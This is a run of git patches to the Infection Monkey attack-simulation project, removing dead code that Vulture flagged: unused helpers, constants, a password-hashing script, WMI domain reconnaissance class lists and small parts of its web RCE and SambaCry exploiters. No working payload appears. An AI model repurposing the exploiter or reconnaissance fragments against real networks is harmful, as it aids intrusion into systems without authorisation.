+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,7 +3,6 @@ from typing import Sequence from infection_monkey.post_breach.pba import PBA -from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -16,7 +15,6 @@ class PostBreach(object): """ def __init__(self): - self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list() def execute_all_configured(self): From 536d0bc75cfcb384f4884d88119712ae32c71893 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 5 May 2021 17:51:20 +0530 Subject: [PATCH 0393/1360] Remove unused `mongo_client` in `monkey_island/cc/server_utils/bootloader_server.py` --- monkey/monkey_island/cc/server_utils/bootloader_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index cc274299162..fa0b21378e8 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -17,7 +17,7 @@ class BootloaderHttpServer(ThreadingMixIn, HTTPServer): def __init__(self, mongo_url): - self.mongo_client = pymongo.MongoClient(mongo_url) + pymongo.MongoClient(mongo_url) server_address = ("", 5001) super().__init__(server_address, BootloaderHTTPRequestHandler) From 380afa675ac3c9d086a060c088c917937ad2c1dd Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 5 May 2021 18:10:32 +0530 Subject: [PATCH 0394/1360] Remove unused `report_generating_lock` in `monkey_island/cc/resources/root.py` --- monkey/monkey_island/cc/resources/root.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 57d20904afc..37b5da7bae7 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -1,5 +1,4 @@ import logging -import threading import flask_restful from flask import jsonify, make_response, request @@ -16,9 +15,6 @@ class Root(flask_restful.Resource): - def __init__(self): - self.report_generating_lock = threading.Event() - def get(self, action=None): if not action: action = request.args.get("action") From 8c97f32fbc5cd761a552d74772edfbd2b866597f Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 5 May 2021 18:50:54 +0530 Subject: [PATCH 0395/1360] Remove unused `_instance_id`, `region`, `_get_instance_id()`, and `_get_region()` from `monkey_island/cc/environment/aws.py` --- monkey/monkey_island/cc/environment/aws.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index c11e4043629..404955537b4 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -11,14 +11,6 @@ def __init__(self, config): super(AwsEnvironment, self).__init__(config) # Not suppressing error here on purpose. This is critical if we're on AWS env. self.aws_info = AwsInstance() - self._instance_id = self._get_instance_id() - self.region = self._get_region() - - def _get_instance_id(self): - return self.aws_info.get_instance_id() - - def _get_region(self): - return self.aws_info.get_region() def get_auth_users(self): if self._is_registered(): From edff2c5c08f04bd50eb8228c5be65db1d3835db2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 5 May 2021 18:59:18 +0530 Subject: [PATCH 0396/1360] Remove unused `set_deployment()` in `monkey_island/cc/environment/__init__.py` --- monkey/monkey_island/cc/environment/__init__.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 61242842868..2a3da5ad07f 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -118,9 +118,6 @@ def get_deployment(self) -> str: deployment = self._config.deployment return deployment - def set_deployment(self, deployment: str): - self._config.deployment = deployment - @property def mongo_db_name(self): return self._MONGO_DB_NAME From c848581115bbf483b07a69458e24e080bb042ea7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 5 May 2021 19:25:34 +0530 Subject: [PATCH 0397/1360] Remove unused `hash_secret()` from `monkey_island/cc/environment/__init__.py` --- monkey/monkey_island/cc/environment/__init__.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 2a3da5ad07f..13d57016049 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -1,4 +1,3 @@ -import hashlib import logging import os from abc import ABCMeta, abstractmethod @@ -106,12 +105,6 @@ def is_debug(self): def get_auth_expiration_time(self): return self._AUTH_EXPIRATION_TIME - @staticmethod - def hash_secret(secret): - hash_obj = hashlib.sha3_512() - hash_obj.update(secret.encode("utf-8")) - return hash_obj.hexdigest() - def get_deployment(self) -> str: deployment = "unknown" if self._config and self._config.deployment: From b59213fb8bdb0b2ef23843d206f520a5198f72a1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 5 May 2021 19:34:15 +0530 Subject: [PATCH 0398/1360] Delete unused file `monkey_island/scripts/island_password_hasher.py` --- .../scripts/island_password_hasher.py | 26 ------------------- 1 file changed, 26 deletions(-) delete mode 100644 monkey/monkey_island/scripts/island_password_hasher.py diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py deleted file mode 100644 index 5330a322f87..00000000000 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ /dev/null @@ -1,26 +0,0 @@ -""" -Utility script for running a string through SHA3_512 hash. -Used for Monkey Island password hash, see -https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection -for more details. -""" - -import argparse - -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but -# is maintained. -from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413 - - -def main(): - parser = argparse.ArgumentParser() - parser.add_argument("string_to_sha", help="The string to do sha for") - args = parser.parse_args() - - h = SHA3_512.new() - h.update(args.string_to_sha) - print(h.hexdigest()) - - -if __name__ == "__main__": - main() From 635418b8f5797683837cddd29c1f606258511873 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 13:28:02 +0530 Subject: [PATCH 0399/1360] Remove unused `get_logon_handle()` from `infection_monkey/utils/windows/users.py` --- monkey/infection_monkey/utils/windows/users.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 1a2bee53c1c..6890dc1705d 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -108,9 +108,6 @@ def run_as(self, command): return exit_code - def get_logon_handle(self): - return self.logon_handle - def __exit__(self, _exc_type, value, traceback): # Logoff self.logon_handle.Close() From 3a346b511207a92b16c9df2f223ca81b9364eace Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 13:30:45 +0530 Subject: [PATCH 0400/1360] Remove unused `NoInheritance` in `infection_monkey/utils/plugins/pluginTests/ComboFile.py` --- .../infection_monkey/utils/plugins/pluginTests/ComboFile.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py index 6f33142cc5d..d4d464b33d4 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -1,10 +1,6 @@ from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester -class NoInheritance: - pass - - class BadInit(PluginTester): def __init__(self): raise Exception("TestException") From 962e7851345a1e7baba302e9310144a3b223c60e Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 14:02:32 +0530 Subject: [PATCH 0401/1360] Remove unused `proxy_via` in `infection_monkey/transport/http.py` --- monkey/infection_monkey/transport/http.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index fbddce109cb..ec1518c704c 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -115,9 +115,6 @@ def log_message(self, format_string, *args): class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection - proxy_via = ( - None # pseudonym of the proxy in Via header, set to None not to modify original Via header - ) def do_POST(self): try: From e33288a05bd78e760d17f2a94c7949046d3b9986 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 14:09:28 +0530 Subject: [PATCH 0402/1360] Remove unused property `locked` in `infection_monkey/system_singleton.py` --- monkey/infection_monkey/system_singleton.py | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 9576ff9f78b..3bba2766f37 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -11,11 +11,6 @@ class _SystemSingleton(object, metaclass=ABCMeta): - @property - @abstractmethod - def locked(self): - raise NotImplementedError() - @abstractmethod def try_lock(self): raise NotImplementedError() @@ -30,10 +25,6 @@ def __init__(self): self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,) self._mutex_handle = None - @property - def locked(self): - return self._mutex_handle is not None - def try_lock(self): assert self._mutex_handle is None, "Singleton already locked" @@ -67,10 +58,6 @@ def __init__(self): self._unix_sock_name = str(WormConfiguration.singleton_mutex_name) self._sock_handle = None - @property - def locked(self): - return self._sock_handle is not None - def try_lock(self): assert self._sock_handle is None, "Singleton already locked" From e59f7a587e220cc8065721706e3973f81b1e08c1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 14:13:55 +0530 Subject: [PATCH 0403/1360] Remove unused const `WMI_LDAP_CLASSES` in `infection_monkey/system_info/wmi_consts.py` --- .../system_info/wmi_consts.py | 70 ------------------- 1 file changed, 70 deletions(-) diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index 71366a46698..d9b2126616b 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -10,73 +10,3 @@ "Win32_Service", "Win32_OptionalFeature", } - -# These wmi queries are able to return data about all the users & machines in the domain. -# For these queries to work, the monkey should be run on a domain machine and -# -# monkey should run as *** SYSTEM *** !!! -# -WMI_LDAP_CLASSES = { - "ds_user": ( - "DS_sAMAccountName", - "DS_userPrincipalName", - "DS_sAMAccountType", - "ADSIPath", - "DS_userAccountControl", - "DS_objectSid", - "DS_objectClass", - "DS_memberOf", - "DS_primaryGroupID", - "DS_pwdLastSet", - "DS_badPasswordTime", - "DS_badPwdCount", - "DS_lastLogon", - "DS_lastLogonTimestamp", - "DS_lastLogoff", - "DS_logonCount", - "DS_accountExpires", - ), - "ds_group": ( - "DS_whenChanged", - "DS_whenCreated", - "DS_sAMAccountName", - "DS_sAMAccountType", - "DS_objectSid", - "DS_objectClass", - "DS_name", - "DS_memberOf", - "DS_member", - "DS_instanceType", - "DS_cn", - "DS_description", - "DS_distinguishedName", - "ADSIPath", - ), - "ds_computer": ( - "DS_dNSHostName", - "ADSIPath", - "DS_accountExpires", - "DS_adminDisplayName", - "DS_badPasswordTime", - "DS_badPwdCount", - "DS_cn", - "DS_distinguishedName", - "DS_instanceType", - "DS_lastLogoff", - "DS_lastLogon", - "DS_lastLogonTimestamp", - "DS_logonCount", - "DS_objectClass", - "DS_objectSid", - "DS_operatingSystem", - "DS_operatingSystemVersion", - "DS_primaryGroupID", - "DS_pwdLastSet", - "DS_sAMAccountName", - "DS_sAMAccountType", - "DS_servicePrincipalName", - "DS_userAccountControl", - "DS_whenChanged", - "DS_whenCreated", - ), -} From 3a8591ee007f28c8fcb39156ab75e0d8624f3fd7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 14:24:22 +0530 Subject: [PATCH 0404/1360] Remove unused `_get_traceroute_bin_path`, and `_parse_traceroute` in `infection_monkey/network/tools.py` --- monkey/infection_monkey/network/tools.py | 55 ------------------------ 1 file changed, 55 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 97c3ef84f14..bb472feed93 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -1,17 +1,13 @@ import logging -import re import select import socket import struct -import subprocess import sys import time from common.network.network_utils import get_host_from_network_location from infection_monkey.config import WormConfiguration from infection_monkey.network.info import get_routes, local_ips -from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.utils.environment import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 @@ -164,57 +160,6 @@ def tcp_port_to_service(port): return "tcp-" + str(port) -def _get_traceroute_bin_path(): - """ - Gets the path to the prebuilt traceroute executable - - This is the traceroute utility from: http://traceroute.sourceforge.net - Its been built using the buildroot utility with the following settings: - * Statically link to musl and all other required libs - * Optimize for size - This is done because not all linux distros come with traceroute out-of-the-box, and to ensure - it behaves as expected - - :return: Path to traceroute executable - """ - return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32") - - -def _parse_traceroute(output, regex, ttl): - """ - Parses the output of traceroute (from either Linux or Windows) - :param output: The output of the traceroute - :param regex: Regex for finding an IP address - :param ttl: Max TTL. Must be the same as the TTL used as param for traceroute. - :return: List of ips which are the hops on the way to the traceroute destination. - If a hop's IP wasn't found by traceroute, instead of an IP, the array will - contain None - """ - ip_lines = output.split("\n") - trace_list = [] - - first_line_index = None - for i in range(len(ip_lines)): - if re.search(r"^\s*1", ip_lines[i]) is not None: - first_line_index = i - break - - for i in range(first_line_index, first_line_index + ttl): - if ( - re.search(r"^\s*" + str(i - first_line_index + 1), ip_lines[i]) is None - ): # If trace is finished - break - - re_res = re.search(regex, ip_lines[i]) - if re_res is None: - ip_addr = None - else: - ip_addr = re_res.group() - trace_list.append(ip_addr) - - return trace_list - - def get_interface_to_target(dst): """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' From dd1eaab6f8727395218e294431da5591e826e183 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 15:54:58 +0530 Subject: [PATCH 0405/1360] Remove unused `IP_ADDR_RE`, and `IP_ADDR_PARENTHESES_RE` from `infection_monkey/network/tools.py` --- monkey/infection_monkey/network/tools.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index bb472feed93..17eae69698b 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -11,8 +11,6 @@ DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 -IP_ADDR_RE = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" -IP_ADDR_PARENTHESES_RE = r"\(" + IP_ADDR_RE + r"\)" LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 From adb90d14af3c6f0db5ce7e8ea37c6097d91c06f5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:16:20 +0530 Subject: [PATCH 0406/1360] Remove unused `_mode` in `infection_monkey/monkeyfs.py` --- monkey/infection_monkey/monkeyfs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py index 31b2e600756..392717c3556 100644 --- a/monkey/infection_monkey/monkeyfs.py +++ b/monkey/infection_monkey/monkeyfs.py @@ -15,7 +15,6 @@ def __init__(self, name, mode="r", buffering=None): if not name.startswith(MONKEYFS_PREFIX): name = MONKEYFS_PREFIX + name self.name = name - self._mode = mode if name in VirtualFile._vfs: super(VirtualFile, self).__init__(self._vfs[name]) else: From 1cd746ce7685228540d81b1d4775ef93a9b88cb4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:19:38 +0530 Subject: [PATCH 0407/1360] Remove unused `_dropper_path` and `_depth` in `infection_monkey/monkey.py` --- monkey/infection_monkey/monkey.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c81a6251746..7e188b74d29 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -56,12 +56,10 @@ def __init__(self, args): self._default_tunnel = None self._args = args self._network = None - self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._default_server_port = None - self._depth = 0 self._opts = None self._upgrading_to_64 = False @@ -92,7 +90,6 @@ def initialize(self): self._keep_running = True self._network = NetworkScanner() - self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: From 5f8547a7eeb14d09ce65a4124d885b8f4710720b Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:33:37 +0530 Subject: [PATCH 0408/1360] Remove unused `set_vulnerable_port_from_url()` from `infection_monkey/exploit/web_rce.py` --- monkey/infection_monkey/exploit/web_rce.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index dafa6164abb..7f268b18fdd 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -578,9 +578,6 @@ def get_default_dropper_path(self): LOG.debug("Target's machine type was not set. Using win-32 dropper path.") return self._config.dropper_target_path_win_32 - def set_vulnerable_port_from_url(self, url): - self.vulnerable_port = HTTPTools.get_port_from_url(url) - def get_target_url(self): """ This method allows "configuring" the way in which a vulnerable URL is picked. From 0c3e385c867480007e6424d9aae393334598bf4f Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:46:23 +0530 Subject: [PATCH 0409/1360] Remove unused `check_if_port_open` in `infection_monkey/exploit/web_rce.py` --- monkey/infection_monkey/exploit/web_rce.py | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 7f268b18fdd..5620c425a16 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -25,7 +25,7 @@ RUN_MONKEY, WGET_HTTP_UPLOAD, ) -from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service +from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem @@ -188,13 +188,6 @@ def get_open_service_ports(self, port_list, names): return valid_ports - def check_if_port_open(self, port): - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - LOG.info("Port %d is closed on %r, skipping", port, self.host) - return False - return True - def get_command(self, path, http_path, commands): try: if "linux" in self.host.os["type"]: From e30c37f3ca2ca0d37f7163bd64884d24e4efa7b7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:49:54 +0530 Subject: [PATCH 0410/1360] Remove unused `DceRpcException` in `infection_monkey/exploit/tools/wmi_tools.py` --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index b6d96aa820d..21abfa44044 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -10,10 +10,6 @@ LOG = logging.getLogger(__name__) -class DceRpcException(Exception): - pass - - class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__( From 67d7ad88341c1c53a2244c633519e510cf4bb7e2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:51:40 +0530 Subject: [PATCH 0411/1360] Remove unused `SAMBACRY_MONKEY_COPY_FILENAME_32` and `SAMBACRY_MONKEY_COPY_FILENAME_64` in `infection_monkey/exploit/sambacry.py` --- monkey/infection_monkey/exploit/sambacry.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 7a4c124295a..11a2ab9c513 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -73,10 +73,6 @@ class SambaCryExploiter(HostExploiter): SAMBACRY_MONKEY_FILENAME_32 = "monkey32" # Monkey filename on share (64 bit) SAMBACRY_MONKEY_FILENAME_64 = "monkey64" - # Monkey copy filename on share (32 bit) - SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2" - # Monkey copy filename on share (64 bit) - SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" # Supported samba port SAMBA_PORT = 445 From aed9c4ae564ce412874ae7ac5bd758c377464e61 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:54:11 +0530 Subject: [PATCH 0412/1360] Remove unused `should_exploit` in `infection_monkey/config.py` and `infection_monkey/example.conf` --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - 2 files changed, 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 349c12f0ddd..ad37bf837a9 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -188,7 +188,6 @@ def as_dict(self): # exploiters config ########################### - should_exploit = True skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index cf9d2ed703c..b27f2f3cca1 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,5 +1,4 @@ { - "should_exploit": true, "command_servers": [ "192.0.2.0:5000" ], From 81f785ea7423f9649e40bbd423385e6366b73549 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 16:58:03 +0530 Subject: [PATCH 0413/1360] Remove unused `OTHER` in `common/utils/exploit_enum.py` --- monkey/common/utils/exploit_enum.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py index 3aff53121e0..daac36e1bcb 100644 --- a/monkey/common/utils/exploit_enum.py +++ b/monkey/common/utils/exploit_enum.py @@ -3,5 +3,4 @@ class ExploitType(Enum): VULNERABILITY = 1 - OTHER = 8 BRUTE_FORCE = 9 From df8f9c81e65dee1c447d6ba403e91ccd947bc3ea Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 17:03:17 +0530 Subject: [PATCH 0414/1360] Remove unused `format_time()` in `common/utils/attack_utils.py` --- monkey/common/utils/attack_utils.py | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 98b6361c4bf..ef1cba65f25 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -42,13 +42,3 @@ class UsageEnum(Enum): # Dict that describes what BITS job was used for BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system." - - -def format_time(time): - return "%s-%s %s:%s:%s" % ( - time.date().month, - time.date().day, - time.time().hour, - time.time().minute, - time.time().second, - ) From 9b6ecd508cbf57b0c6574213d136a93021d93dad Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 17:05:24 +0530 Subject: [PATCH 0415/1360] Remove unused `SCOUTSUITE_COLLECTOR` in `common/common_consts/system_info_collectors_names.py` --- monkey/common/common_consts/system_info_collectors_names.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index c93cb2537ca..175a054e140 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -4,4 +4,3 @@ PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" AZURE_CRED_COLLECTOR = "AzureCollector" -SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector" From 897a92b96133a8a98496e2df1cec3b7ec6d8d4dc Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 17:25:08 +0530 Subject: [PATCH 0416/1360] Remove unused `run_command` in `common/cmd/cmd_runner.py` --- monkey/common/cmd/cmd_runner.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index efd9d7bf058..48c004c8613 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -2,7 +2,6 @@ import time from abc import abstractmethod -from common.cmd.cmd import Cmd from common.cmd.cmd_result import CmdResult from common.cmd.cmd_status import CmdStatus @@ -36,16 +35,6 @@ class CmdRunner(object): def __init__(self, is_linux): self.is_linux = is_linux - def run_command(self, command_line, timeout=DEFAULT_TIMEOUT): - """ - Runs the given command on the remote machine - :param command_line: The command line to run - :param timeout: Timeout in seconds for command. - :return: Command result - """ - c_id = self.run_command_async(command_line) - return self.wait_commands([Cmd(self, c_id)], timeout)[1] - @staticmethod def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res): """ From 6c80335509c5f56bf13fc1eec1d01c2d4f896866 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 17:25:24 +0530 Subject: [PATCH 0417/1360] Remove unused `get_regions`, `get_session`, and `test_client` in `common/cloud/aws/aws_service.py` --- monkey/common/cloud/aws/aws_service.py | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/monkey/common/cloud/aws/aws_service.py b/monkey/common/cloud/aws/aws_service.py index dd4b1cb2486..2764c8238b0 100644 --- a/monkey/common/cloud/aws/aws_service.py +++ b/monkey/common/cloud/aws/aws_service.py @@ -2,7 +2,6 @@ import boto3 import botocore -from botocore.exceptions import ClientError from common.cloud.aws.aws_instance import AwsInstance @@ -53,22 +52,6 @@ def get_client(client_type, region=None): client_type, region_name=region if region is not None else AwsService.region ) - @staticmethod - def get_session(): - return boto3.session.Session() - - @staticmethod - def get_regions(): - return AwsService.get_session().get_available_regions("ssm") - - @staticmethod - def test_client(): - try: - AwsService.get_client("ssm").describe_instance_information() - return True - except ClientError: - return False - @staticmethod def get_instances(): """ From 060b7fd921525553d133db2b623c80418a4c4051 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 22:27:52 +0530 Subject: [PATCH 0418/1360] Remove unused `TEST_SALT` from `tests/monkey_island/cc/environment/test_user_creds.py` --- monkey/tests/monkey_island/cc/environment/test_user_creds.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py index 802c1341626..7d83ba59f10 100644 --- a/monkey/tests/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/tests/monkey_island/cc/environment/test_user_creds.py @@ -2,7 +2,6 @@ TEST_USER = "Test" TEST_HASH = "abc1231234" -TEST_SALT = b"$2b$12$JA7GdT1iyfIsquF2cTZv2." def test_bool_true(): From 55208fd0be9dffa54ff5d9f970bbee77607b81e4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 22:40:10 +0530 Subject: [PATCH 0419/1360] Add CHANGELOG entry for Vulture fixes --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9c0c2a833d1..b2150b87471 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Zerologon exploiter writes runtime artifacts to a secure temporary directory instead of $HOME. #1143 - Authentication mechanism to use bcrypt on server side. #1139 +- Removed relevant dead code as reported by Vulture. #1149 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 From e1ef807c2c142065af12ca0b5b80de578ae843e6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 6 May 2021 22:42:28 +0530 Subject: [PATCH 0420/1360] Remove unused import in infection_monkey/network/info.py --- monkey/infection_monkey/network/info.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 5bdce48873e..474281f68eb 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -2,7 +2,6 @@ import socket import struct from random import randint # noqa: DUO102 -from subprocess import check_output import netifaces import psutil From e8947a375a714d5c868d9d6df2a9a53c801a617d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 May 2021 19:51:23 -0400 Subject: [PATCH 0421/1360] Add a whitelist for vulture --- .flake8 | 3 +- whitelist.py | 186 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 187 insertions(+), 2 deletions(-) create mode 100644 whitelist.py diff --git a/.flake8 b/.flake8 index 1f81c9edc75..c7cd1da1d2a 100644 --- a/.flake8 +++ b/.flake8 @@ -1,7 +1,7 @@ [flake8] ## Warn about linter issues. -exclude = monkey/monkey_island/cc/ui +exclude = monkey/monkey_island/cc/ui,whitelist.py show-source = True max-complexity = 10 max-line-length = 100 @@ -15,4 +15,3 @@ statistics = True ### --count will print the total number of errors. count = True - diff --git a/whitelist.py b/whitelist.py new file mode 100644 index 00000000000..ad346ff0b9e --- /dev/null +++ b/whitelist.py @@ -0,0 +1,186 @@ +""" +Everything in this file is what Vulture found as dead code but either isn't 